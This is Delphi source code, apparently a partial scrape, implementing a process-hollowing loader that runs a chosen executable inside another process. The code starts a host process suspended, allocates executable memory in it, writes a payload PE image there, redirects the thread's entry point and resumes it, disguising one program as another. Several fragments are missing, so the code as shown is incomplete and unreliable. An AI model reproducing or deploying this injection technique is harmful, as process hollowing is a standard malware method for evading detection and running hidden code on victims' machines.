Code
Code
System.Classes,
WinAPI.Windows,
System.SysUtils;
function NtUnmapViewOfSection(
ProcessHandle: THandle;
BaseAddress: Pointer
):DWORD; stdcall; external 'ntdll.dll';
type
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
EInvalidPEFile = class(Exception)
public
{@C}
constructor Create(const AReason : String); overload;
end;
///
inherited Create(AFormatedMessage);
end;
{$IFDEF WIN64}
pOptionalHeader64 : PImageOptionalHeader64;
{$ELSE}
pOptionalHeader32 : PImageOptionalHeader32;
{$ENDIF}
begin
if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
raise Exception.Create('Memory buffer is not valid.');
pOffset := pPEBuffer;
ptrImageDosHeader := PImageDosHeader(pOffset);
AImageNtHeaderSignature := PDWORD(pOffset)^;
ptrImageFileHeader := PImageFileHeader(pOffset);
{$IFDEF WIN64}
ALoaderX64 := True;
{$ELSE}
ALoaderX64 := False;
{$ENDIF}
case ptrImageFileHeader^.Machine of
IMAGE_FILE_MACHINE_AMD64 : begin
if not ALoaderX64 then
Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
end;
IMAGE_FILE_MACHINE_I386 : begin
if ALoaderX64 then
Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
end;
end;
{$IFDEF WIN64}
pOptionalHeader64 := PImageOptionalHeader64(pOffset);
pSectionHeader := PImageSectionHeader(pOffset);
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;
UniqueString(APEHost);
if not CreateProcessW(
PWideChar(APEHost),
nil,
nil,
nil,
False,
CREATE_SUSPENDED,
nil,
nil,
AStartupInfo,
AProcessInfo
) then
raise EWindowsException.Create('CreateProcessW');
{$IFDEF WIN64}
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
{$ELSE}
pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
{$ENDIF}
pPayloadAddress := VirtualAllocEx(
AProcessInfo.hProcess,
nil,
{$IFDEF WIN64}
pOptionalHeader64^.SizeOfImage,
{$ELSE}
pOptionalHeader32^.SizeOfImage,
{$ENDIF}
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemoryEx(
AProcessInfo.hProcess,
pPayloadAddress,
pPEBuffer,
{$IFDEF WIN64}
pOptionalHeader64^.SizeOfHeaders
{$ELSE}
pOptionalHeader32^.SizeOfHeaders
{$ENDIF}
);
{$IFDEF WIN64}
pThreadContext^.Rcx := NativeUInt(pPayloadAddress) +
pOptionalHeader64^.AddressOfEntryPoint;
{$ELSE}
pThreadContext^.Eax := NativeUInt(pPayloadAddress) +
pOptionalHeader32^.AddressOfEntryPoint;
{$ENDIF}
WriteProcessMemoryEx(
AProcessInfo.hProcess,
pImageBaseOffset,
@pPayloadAddress,
SizeOf(Pointer)
);
if ResumeThread(AProcessInfo.hThread) = 0 then
raise EWindowsException.Create('ResumeThread');
end;
hFile := CreateFile(
PWideChar(APEFile),
GENERIC_READ,
FILE_SHARE_READ,
nil,
OPEN_EXISTING,
0,
0
);
if hFile = INVALID_HANDLE_VALUE then
raise EWindowsException.Create('CreateFile');
try
if not GetFileSizeEx(hFile, AFileSize) then
raise EWindowsException.Create('GetFileSizeEx');
if AFileSize = 0 then
raise Exception.Create('Invalid PE File Size.');
SetLength(ABuffer, AFileSize);
///
HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;
begin
try
HollowMe('FileToRun.exe', 'HostFile.exe');
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.